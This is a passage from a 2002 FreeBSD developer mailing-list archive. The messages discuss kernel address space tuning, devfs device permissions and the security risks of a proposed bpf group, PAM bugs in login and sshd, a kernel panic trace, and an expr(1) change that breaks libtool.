From owner-freebsd-current Sun Apr 21 0:39:33 2002 Delivered-To: freebsd-current@freebsd.org Received: from avocet.prod.itd.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 385AA37B419; Sun, 21 Apr 2002 00:39:29 -0700 (PDT) Received: from pool0021.cvx21-bradley.dialup.earthlink.net ([209.179.192.21] helo=mindspring.com) by avocet.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 16zBwV-0006zJ-00; Sun, 21 Apr 2002 00:39:27 -0700 Message-ID: <3CC26C91.C81002ED@mindspring.com> Date: Sun, 21 Apr 2002 00:38:57 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Marc G. Fournier" Cc: freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <20020421000839.A1721-100000@mail1.hub.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Marc G. Fournier" wrote: > > You have more memory than you can allocate kernel memory to > > provide page table entries for. > > > > The only solution is to increase your kernel virtual address > > space size to accomodate the page mappings. > > > > How to do this varies widely by the version of FreeBSD you are > > using, and, unless you read "NOTES" and are running a recent > > -current, is not incredibly well documented, and requires an > > understanding of how the virtual address space is laid out and > > managed (which is also not well documented anywhere). > > Ya, this is the roadblock I'm hitting :( I'm running 4.5-STABLE here, as > of this afternoon ... thoughts/suggestiosn based on that? Read the handbook as it existed for 4.5-STABLE, and read NOTES. It (sorta) tells you how to increase your KVA size. > Also, is there somethign that I can run to monitor this, similar to > running netstat -m to watch nmbclusters? DDB? 8-) 8-). No, there's no stats collected on this stuff, because it's a pretty obvious and straight-forward thing: you have to have a KVA space large enough that, once you subtract out 4K for each 4M of physical memory and swap (max 4G total for both), you end up with memory left over for the kernel to use, and your limits are such that the you don't run out of PTEs before you run out of mbufs (or whatever you plan on allocating). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 3:25:56 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id D790037B416 for ; Sun, 21 Apr 2002 03:25:50 -0700 (PDT) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id UAA13463; Sun, 21 Apr 2002 20:25:44 +1000 Date: Sun, 21 Apr 2002 20:26:29 +1000 (EST) From: Bruce Evans X-X-Sender: bde@gamplex.bde.org To: Craig Boston Cc: current@FreeBSD.ORG Subject: Re: Adding a 'bpf' group for /dev/bpf* In-Reply-To: <014601c1e8e8$8defe350$5f45a8c0@auir.gank.org> Message-ID: <20020421201257.L579-100000@gamplex.bde.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, 20 Apr 2002, Craig Boston wrote: > Since -current by default uses devfs, is there a standard way to make the > ownership/permissions of device nodes "sticky" so that they persist across > boots? No. Or should we just put the appropriate commands in rc.local ? The problem has been moved to putting them in devfs. > Besides bpf, this would be useful, for example, for people who want to > change permissions on cd-rom devices to 644 so that non-root users can make > iso images (or give a special group cd burner rights). I think you mean mode 660. acd devices already have the insecure permissions 644 in devfs. These are even more insecure than they should be, since read permission is enough to do most ioctls. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 4: 5: 8 2002 Delivered-To: freebsd-current@freebsd.org Received: from flamingo.mail.pas.earthlink.net (flamingo.mail.pas.earthlink.net [207.217.120.232]) by hub.freebsd.org (Postfix) with ESMTP id AB1ED37B404 for ; Sun, 21 Apr 2002 04:05:02 -0700 (PDT) Received: from pool0012.cvx40-bradley.dialup.earthlink.net ([216.244.42.12] helo=mindspring.com) by flamingo.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 16zF9J-0004b8-00; Sun, 21 Apr 2002 04:04:54 -0700 Message-ID: <3CC29CB1.35EADAF3@mindspring.com> Date: Sun, 21 Apr 2002 04:04:17 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bruce Evans Cc: Craig Boston , current@FreeBSD.ORG Subject: Re: Adding a 'bpf' group for /dev/bpf* References: <20020421201257.L579-100000@gamplex.bde.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Bruce Evans wrote: > On Sat, 20 Apr 2002, Craig Boston wrote: > > Since -current by default uses devfs, is there a standard way to make the > > ownership/permissions of device nodes "sticky" so that they persist across > > boots? > > No. > > Or should we just put the appropriate commands in rc.local ? > > The problem has been moved to putting them in devfs. I'm pretty sure you can change it in the source code for the device node itself. Unfortunately, it's not handled with a marker-and-data approach, which would let you modify it in the object files, even for node instances that would not normally be created at boot time (using an ELF librarian and a linker set). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 6:45:26 2002 Delivered-To: freebsd-current@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 3A25A37B400; Sun, 21 Apr 2002 06:45:18 -0700 (PDT) Received: from fledge.watson.org (fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.6/8.11.6) with SMTP id g3LDj8w01552; Sun, 21 Apr 2002 09:45:08 -0400 (EDT) (envelope-from robert@fledge.watson.org) Date: Sun, 21 Apr 2002 09:45:07 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org To: Doug Barton Cc: Craig Boston , current@FreeBSD.org Subject: Re: Adding a 'bpf' group for /dev/bpf* In-Reply-To: <20020420213227.R15997-100000@master.gorean.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, 20 Apr 2002, Doug Barton wrote: > On Sat, 20 Apr 2002, Craig Boston wrote: > > > Since -current by default uses devfs, is there a standard way to make the > > ownership/permissions of device nodes "sticky" so that they persist across > > boots? > > rc.devfs Unfortunately, this works poorly for cloned devices. At various meetings, there has been discussion of a devfsd and/or devd; that's probably the vehicle for doing that kind of administrative change. Unfortunately, it doesn't exist yet, although I think Warner had done some prototyping. For now, the only place to make the change is in the kernel, and for a variety of reasons, that's not really desirable (maintaining duplicated passwd entries in statically compiled kernel code isn't wonderful, especially given that we're starting to collide our reserved uids with uids on older UNIX boxes and NIS networks). The BPF group idea is an interesting one from the perspective of assigning users to the group so that they can sniff without great privilege. However, it's worth observing that BPF actually implicitly gives you more rights than it appears if you assign "write" access to the device, including the ability to *produce* packets that source from other IP addresses and hardware addresses, to influence the localhost interface (which is frequently presumed to be highly trusted), etc. I'd be very cautious about introducing this feature into the base system without some pretty careful analysis first. Off hand, the concerns I'd have would include: - Provides a very high level of privilege relative to the LAN/PPP segments the system is on, in particular relating to the production of link layer network packets that normally the network stack doesn't permit (arp, IP, etc). - Allows bypassing of normal network stack protections that local applications rely on, including the historical "port 1024" limits, especially on the localhost interface. - For tunnels, abiity to bypass tunnel protection policies. There's probably more going on also. We should in particular sit down and see whether just providing read access (root:bpf, -rw--r---) is sufficient to protect against these problems. Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 6:53:15 2002 Delivered-To: freebsd-current@freebsd.org Received: from daydreamer.dk (213.237.14.128.adsl.ho.worldonline.dk [213.237.14.128]) by hub.freebsd.org (Postfix) with SMTP id 574B537B419 for ; Sun, 21 Apr 2002 06:53:09 -0700 (PDT) Received: (qmail 23273 invoked from network); 21 Apr 2002 13:52:59 -0000 Received: from unknown (HELO dpws) (192.168.1.3) by 0 with SMTP; 21 Apr 2002 13:52:59 -0000 Message-ID: <010401c1e93b$d39b30f0$0301a8c0@dpws> From: "Dennis Pedersen" To: Subject: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Date: Sun, 21 Apr 2002 15:52:50 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I have upgraded my box from 4,5-STABLE to 4,5-RELEASE according to http://www.mostgraveconcern.com/freebsd/ But after the upgrade my box does not read the setting from rc.conf (ifconfig shows that the xl0 interface has no IP) Anyone got a idea about what went wrong here? Regards, Dennis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 6:56:21 2002 Delivered-To: freebsd-current@freebsd.org Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42]) by hub.freebsd.org (Postfix) with ESMTP id AF9A637B404; Sun, 21 Apr 2002 06:56:18 -0700 (PDT) Received: from pobrecita.freebsd.ru (ache@localhost [127.0.0.1]) by nagual.pp.ru (8.12.2/8.12.2) with ESMTP id g3LDuEiJ016344; Sun, 21 Apr 2002 17:56:17 +0400 (MSD) (envelope-from ache@pobrecita.freebsd.ru) Received: (from ache@localhost) by pobrecita.freebsd.ru (8.12.3/8.12.2/Submit) id g3LDuEuG016343; Sun, 21 Apr 2002 17:56:14 +0400 (MSD) Date: Sun, 21 Apr 2002 17:56:13 +0400 From: "Andrey A. Chernov" To: current@freebsd.org, des@freebsd.org Subject: PAM: plain login not print "Last login" line Message-ID: <20020421135613.GA16268@nagual.pp.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi. Now I mean plain /usr/bin/login, I don't see "Last login" from it anymore, it seems it is gone when login was PAMifized. Please restore it back (depending on quietlog as it was before). -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 7:13:20 2002 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163]) by hub.freebsd.org (Postfix) with ESMTP id 2B60437B417; Sun, 21 Apr 2002 07:13:18 -0700 (PDT) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.12.2/8.12.2) with ESMTP id g3LED3Hx048555; Sun, 21 Apr 2002 16:13:04 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Robert Watson Cc: Doug Barton , Craig Boston , current@FreeBSD.ORG Subject: Re: Adding a 'bpf' group for /dev/bpf* In-Reply-To: Your message of "Sun, 21 Apr 2002 09:45:07 EDT." Date: Sun, 21 Apr 2002 16:13:03 +0200 Message-ID: <48554.1019398383@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message , Robe rt Watson writes: >> rc.devfs > >Unfortunately, this works poorly for cloned devices. At various meetings, >there has been discussion of a devfsd and/or devd; that's probably the >vehicle for doing that kind of administrative change. Unfortunately, it >doesn't exist yet, although I think Warner had done some prototyping. Dima is actually working on this problem right now, and he has sent me a prototype which shows great promise. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 7:20: 9 2002 Delivered-To: freebsd-current@freebsd.org Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42]) by hub.freebsd.org (Postfix) with ESMTP id 24FAB37B417 for ; Sun, 21 Apr 2002 07:20:05 -0700 (PDT) Received: from pobrecita.freebsd.ru (ache@localhost [127.0.0.1]) by nagual.pp.ru (8.12.2/8.12.2) with ESMTP id g3LEK2iJ016638 for ; Sun, 21 Apr 2002 18:20:03 +0400 (MSD) (envelope-from ache@pobrecita.freebsd.ru) Received: (from ache@localhost) by pobrecita.freebsd.ru (8.12.3/8.12.2/Submit) id g3LEK19m016637 for current@freebsd.org; Sun, 21 Apr 2002 18:20:01 +0400 (MSD) Date: Sun, 21 Apr 2002 18:17:10 +0400 From: "Andrey A. Chernov" To: Dag-Erling Smorgrav Cc: current@freebsfd.org, green@freebsd.org Subject: Re: SSH: zombie appearse probably related to PAM Message-ID: <20020421141709.GA16522@nagual.pp.ru> References: <20020420101720.GA3526@nagual.pp.ru> <20020420160753.GB6816@nagual.pp.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020420160753.GB6816@nagual.pp.ru> User-Agent: Mutt/1.3.28i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Apr 20, 2002 at 20:07:53 +0400, Andrey A. Chernov wrote: > On Sat, Apr 20, 2002 at 18:03:07 +0200, Dag-Erling Smorgrav wrote: > > "Andrey A. Chernov" writes: > > > It happens only with 'localhost' and not in remote case. To > > > reproduce it, call: > > > ssh localhost > > > login normally and then exit. At exit you'll see following message on > > > console (or /var/log/messages): > > > > > > sshd[]: error: session_by_pid: unknown pid > > > > I can't reproduce this. > > Well, I'll try to dig out more details after some sleep... Finally I found who is responsoble for zombie. Yes it is PAM as I think initially. This process started in the pam_init_ctx() function in the auth2-pam.c, then dies to zombie. I found it simply printing pid after each fork and looking into 'ps' and error diagnostic above. It means PAM forget to wait for its own child. Please fix. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 7:23:17 2002 Delivered-To: freebsd-current@freebsd.org Received: from ady.warpnet.ro (ady.warpnet.ro [217.156.25.2]) by hub.freebsd.org (Postfix) with ESMTP id 4ECB637B400 for ; Sun, 21 Apr 2002 07:23:02 -0700 (PDT) Received: from localhost (ady@localhost) by ady.warpnet.ro (8.9.3/8.9.3) with ESMTP id RAA98910 for ; Sun, 21 Apr 2002 17:22:20 +0300 (EEST) (envelope-from ady@freebsd.ady.ro) X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: ady.warpnet.ro Date: Sun, 21 Apr 2002 17:22:20 +0300 (EEST) From: Adrian Penisoara X-Sender: ady@ady.warpnet.ro To: freebsd-current@freebsd.org Subject: panic:bremfree with today's current and linux-netscape Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-2061357614-1019398940=:92236" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-2061357614-1019398940=:92236 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi, Environment: FreeBSD xphome.home.ady.ro 5.0-CURRENT FreeBSD 5.0-CURRENT #0: Sun Apr 21 10:39:36 EEST 2002 i386 XFree86-4.2.0_1,1 (3dfx Velocity 100 graphics card) gnome-1.4.1b2_2 + sawfish-gnome-1.0.1 linux_base-6.1_1 linux-netscape-communicator-4.79 Panicstring: bremfree: bp 0xc77fb678 not locked How-to-repeat: launch linux-netscape while in X11 I've attached the stack trace from gdb'ing on the debug kernel file. I'll keep the core (256Mb) around for a few hours, tell me if you need further info. Side note: are those "lock order reversal" meesages something to worry about ? Happy panicing, Ady (@freebsd.ady.ro) _______________________________________________________________________ | Programming in BASIC causes brain damage. | | (Edsger Wybe Dijkstra) | --0-2061357614-1019398940=:92236 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="current-21Apr2002.trace" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: GDB crashdump trace Content-Disposition: attachment; filename="current-21Apr2002.trace" U2NyaXB0IHN0YXJ0ZWQgb24gU3VuIEFwciAyMSAxNToxMzozMSAyMDAyDQpH TlUgZ2RiIDQuMTgNDQpDb3B5cmlnaHQgMTk5OCBGcmVlIFNvZnR3YXJlIEZv dW5kYXRpb24sIEluYy4NDQpHREIgaXMgZnJlZSBzb2Z0d2FyZSwgY292ZXJl ZCBieSB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UsIGFuZCB5b3Ug YXJlDQ0Kd2VsY29tZSB0byBjaGFuZ2UgaXQgYW5kL29yIGRpc3RyaWJ1dGUg Y29waWVzIG9mIGl0IHVuZGVyIGNlcnRhaW4gY29uZGl0aW9ucy4NDQpUeXBl ICJzaG93IGNvcHlpbmciIHRvIHNlZSB0aGUgY29uZGl0aW9ucy4NDQpUaGVy ZSBpcyBhYnNvbHV0ZWx5IG5vIHdhcnJhbnR5IGZvciBHREIuICBUeXBlICJz aG93IHdhcnJhbnR5IiBmb3IgZGV0YWlscy4NDQpUaGlzIEdEQiB3YXMgY29u ZmlndXJlZCBhcyAiaTM4Ni11bmtub3duLWZyZWVic2QiLi4uDQ0KSWRsZVBU RCBhdCBwaHN5aWNhbCBhZGRyZXNzIDB4MDA0MzQwMDANDQppbml0aWFsIHBj YiBhdCBwaHlzaWNhbCBhZGRyZXNzIDB4MDAzMWYzYTANDQpwYW5pY3N0cjog YnJlbWZyZWU6IGJwIDB4Yzc3ZmI2Nzggbm90IGxvY2tlZA0NCnBhbmljIG1l c3NhZ2VzOg0NCi0tLQ0NCnBhbmljOiByZWN1cnNlDQ0KDQ0Kc3luY2luZyBk aXNrcy4uLiBwYW5pYzogYnJlbWZyZWU6IGJwIDB4Yzc3ZmI2Nzggbm90IGxv Y2tlZA0NClVwdGltZTogNG0zMHMNDQpEdW1waW5nIDI1NSBNQg0NCmF0YTA6 IHJlc2V0dGluZyBkZXZpY2VzIC4uIGRvbmUNDQogMTYgMzIgNDggNjQgODAg OTYgMTEyIDEyOCAxNDQgMTYwIDE3NiAxOTIgMjA4IDIyNCAyNDANDQotLS0N DQojMCAgZG9hZHVtcCAoKSBhdCAvdXNyL3NyYy9zeXMva2Vybi9rZXJuX3No dXRkb3duLmM6MjEzDQ0KMjEzCQlkdW1waW5nKys7DQ0KKGtnZGIpIGJ0DQ0K IzAgIGRvYWR1bXAgKCkgYXQgL3Vzci9zcmMvc3lzL2tlcm4va2Vybl9zaHV0 ZG93bi5jOjIxMw0NCiMxICAweGMwMTljZTc4IGluIGJvb3QgKGhvd3RvPTI2 MCkgYXQgL3Vzci9zcmMvc3lzL2tlcm4va2Vybl9zaHV0ZG93bi5jOjM0Ng0N CiMyICAweGMwMTlkMDIxIGluIHBhbmljIChmbXQ9MHhjMDJiZGY1ZCAiYnJl bWZyZWU6IGJwICVwIG5vdCBsb2NrZWQiKQ0NCiAgICBhdCAvdXNyL3NyYy9z eXMva2Vybi9rZXJuX3NodXRkb3duLmM6NDkwDQ0KIzMgIDB4YzAxY2RkMGQg aW4gYnJlbWZyZWUgKGJwPTB4Yzc3ZmI2NzgpIGF0IC91c3Ivc3JjL3N5cy9r ZXJuL3Zmc19iaW8uYzo2MTkNDQojNCAgMHhjMDFjZjQwMyBpbiB2ZnNfYmlv X2F3cml0ZSAoYnA9MHhjNzdmYjY3OCkNDQogICAgYXQgL3Vzci9zcmMvc3lz L2tlcm4vdmZzX2Jpby5jOjE1OTMNDQojNSAgMHhjMDE3ODIwNCBpbiBzcGVj X2ZzeW5jIChhcD0weGNlY2ZkOTVjKQ0NCiAgICBhdCAvdXNyL3NyYy9zeXMv ZnMvc3BlY2ZzL3NwZWNfdm5vcHMuYzo0MDMNDQojNiAgMHhjMDE3N2RmMSBp biBzcGVjX3Zub3BlcmF0ZSAoYXA9MHhjZWNmZDk1YykNDQogICAgYXQgL3Vz ci9zcmMvc3lzL2ZzL3NwZWNmcy9zcGVjX3Zub3BzLmM6MTIxDQ0KIzcgIDB4 YzAyNGQxMDUgaW4gZmZzX3N5bmMgKG1wPTB4Y2RmNDEyMDAsIHdhaXRmb3I9 MiwgY3JlZD0weGM3NzY1OTgwLCANDQogICAgdGQ9MHhjMDJlYjMwMCkgYXQg dm5vZGVfaWYuaDo0NDENDQojOCAgMHhjMDFkYmZiNyBpbiBzeW5jICh0ZD0w eGMwMmViMzAwLCB1YXA9MHgwKQ0NCiAgICBhdCAvdXNyL3NyYy9zeXMva2Vy bi92ZnNfc3lzY2FsbHMuYzoxMjI0DQ0KIzkgIDB4YzAxOWNhYmEgaW4gYm9v dCAoaG93dG89MjU2KSBhdCAvdXNyL3NyYy9zeXMva2Vybi9rZXJuX3NodXRk b3duLmM6MjU0DQ0KIzEwIDB4YzAxOWQwMjEgaW4gcGFuaWMgKGZtdD0weGMw MmJhNmM4ICJyZWN1cnNlIikNDQogICAgYXQgL3Vzci9zcmMvc3lzL2tlcm4v a2Vybl9zaHV0ZG93bi5jOjQ5MA0NCiMxMSAweGMwMWI0N2E4IGluIHdpdG5l c3NfbG9jayAobG9jaz0weGNlZDM2ODM0LCBmbGFncz04LCANDQogICAgZmls ZT0weGMwMmIzYzQwICIvdXNyL3NyYy9zeXMva2Vybi9rZXJuX2Rlc2NyaXAu YyIsIGxpbmU9MTExNCkNDQogICAgYXQgL3Vzci9zcmMvc3lzL2tlcm4vc3Vi cl93aXRuZXNzLmM6NTMzDQ0KIzEyIDB4YzAxOTU3NjYgaW4gX210eF9sb2Nr X2ZsYWdzIChtPTB4Y2VkMzY4MzQsIG9wdHM9MCwgDQ0KICAgIGZpbGU9MHhj MDJiM2M0MCAiL3Vzci9zcmMvc3lzL2tlcm4va2Vybl9kZXNjcmlwLmMiLCBs aW5lPTExMTQpDQ0KICAgIGF0IC91c3Ivc3JjL3N5cy9rZXJuL2tlcm5fbXV0 ZXguYzozMTQNDQotLS1UeXBlIDxyZXR1cm4+IHRvIGNvbnRpbnVlLCBvciBx IDxyZXR1cm4+IHRvIHF1aXQtLS0NDQojMTMgMHhjMDE4NzIwMyBpbiBmYWxs b2MgKHRkPTB4Y2VjNmVhM2MsIHJlc3VsdGZwPTB4Y2VjZmRhYTAsIA0NCiAg ICByZXN1bHRmZD0weGNlY2ZkYWE4KSBhdCAvdXNyL3NyYy9zeXMva2Vybi9r ZXJuX2Rlc2NyaXAuYzoxMTE0DQ0KIzE0IDB4YzAxODdlM2YgaW4gZmRjaGVj a3N0ZCAodGQ9MHhjZWM2ZWEzYykNDQogICAgYXQgL3Vzci9zcmMvc3lzL2tl cm4va2Vybl9kZXNjcmlwLmM6MTUzMg0NCiMxNSAweGMwMThiMzA2IGluIGV4 ZWN2ZSAodGQ9MHhjZWM2ZWEzYywgdWFwPTB4Y2VjZmRjZGMpDQ0KICAgIGF0 IC91c3Ivc3JjL3N5cy9rZXJuL2tlcm5fZXhlYy5jOjM3Mg0NCiMxNiAweGNl YTIxYWZmIGluID8/ICgpDQ0KIzE3IDB4YzAyOGU2OWIgaW4gc3lzY2FsbCAo ZnJhbWU9e3RmX2ZzID0gNDcsIHRmX2VzID0gNDcsIHRmX2RzID0gNDcsIA0N CiAgICAgIHRmX2VkaSA9IC0xMDc3OTUwNzI4LCB0Zl9lc2kgPSAxNDU5MjM1 OTQsIHRmX2VicCA9IC0xMDc3OTUwNzY4LCANDQogICAgICB0Zl9pc3AgPSAt ODI1MjM4MTU2LCB0Zl9lYnggPSAtMTA3Nzk1MDcyOCwgdGZfZWR4ID0gMTUx MjE0OTc2LCANDQogICAgICB0Zl9lY3ggPSAtMTA3Nzk1MDYxMiwgdGZfZWF4 ID0gMTEsIHRmX3RyYXBubyA9IDEyLCB0Zl9lcnIgPSAyLCANDQogICAgICB0 Zl9laXAgPSA2ODUzOTQxODcsIHRmX2NzID0gMzEsIHRmX2VmbGFncyA9IDU4 MiwgdGZfZXNwID0gLTEwNzc5NTA3ODQsIA0NCiAgICAgIHRmX3NzID0gNDd9 KSBhdCAvdXNyL3NyYy9zeXMvaTM4Ni9pMzg2L3RyYXAuYzoxMDIyDQ0KIzE4 IDB4YzAyODFhMGQgaW4gc3lzY2FsbF93aXRoX2Vycl9wdXNoZWQgKCkNDQpD YW5ub3QgYWNjZXNzIG1lbW9yeSBhdCBhZGRyZXNzIDB4YmZiZmM2ZDAuDQ0K KGtnZGIpIHENDQoNClNjcmlwdCBkb25lIG9uIFN1biBBcHIgMjEgMTU6MTM6 MzggMjAwMg0K --0-2061357614-1019398940=:92236-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 8: 3:23 2002 Delivered-To: freebsd-current@freebsd.org Received: from fe100.worldonline.dk (fe100.worldonline.dk [212.54.64.211]) by hub.freebsd.org (Postfix) with SMTP id 25F0137B422 for ; Sun, 21 Apr 2002 08:03:16 -0700 (PDT) Received: (qmail 17325 invoked by uid 0); 21 Apr 2002 15:03:14 -0000 Received: from 213.237.14.128.adsl.ho.worldonline.dk (HELO dpws) (213.237.14.128) by fe100.worldonline.dk with SMTP; 21 Apr 2002 15:03:14 -0000 Message-ID: <016701c1e945$a23dd120$0301a8c0@dpws> From: "Dennis Pedersen" To: References: <010401c1e93b$d39b30f0$0301a8c0@dpws> Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Date: Sun, 21 Apr 2002 17:03:02 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Dennis Pedersen" To: Sent: Sunday, April 21, 2002 3:52 PM Subject: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf > Hi, > I have upgraded my box from 4,5-STABLE to 4,5-RELEASE according to > http://www.mostgraveconcern.com/freebsd/ > But after the upgrade my box does not read the setting from rc.conf > (ifconfig shows that the xl0 interface has no IP) > Anyone got a idea about what went wrong here? Darn, it was just tip of the iceberg! It seems there are a problem with /usr/libexec/ld-elf.so.1. The file is there (and there is a file called .old). Can i reinstall this file/fix it somehow? I would do the hole upgrade process over again but the ld-elf.so.1 error keeps comming up. Any good ideas? Regards, Dennis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Apr 21 8:58:39 2002 Delivered-To: freebsd-current@freebsd.org Received: from zibbi.icomtek.csir.co.za (zibbi.icomtek.csir.co.za [146.64.24.58]) by hub.freebsd.org (Postfix) with ESMTP id DFBDD37B400; Sun, 21 Apr 2002 08:58:27 -0700 (PDT) Received: (from jhay@localhost) by zibbi.icomtek.csir.co.za (8.11.6/8.11.6) id g3LFwM414296; Sun, 21 Apr 2002 17:58:22 +0200 (SAT) (envelope-from jhay) From: John Hay Message-Id: <200204211558.g3LFwM414296@zibbi.icomtek.csir.co.za> Subject: new expr(1) behaviour breaks libtool To: freebsd-current@freebsd.org Date: Sun, 21 Apr 2002 17:58:22 +0200 (SAT) Cc: wollman@freebsd.org X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I see the new new behaviour of expr(1) requires you to add '--' if your commandline arguments might start with a '-'. This does break things a little because our old expr(1) does not understand a '--' in the beginning and the new one don't work right without it. :-((( The place where I noticed it was when libtool started to complain when compiling jade. Libtool does things like: expr -L/export/ports/textproc/jade/work/jade-1.2.1/lib/.libs : -l\(.*\) expr -lsp : -l\(.*\) expr -lm : -l\(.*\) expr -lgrove : -l\(.*\) On -current this now have to be: expr 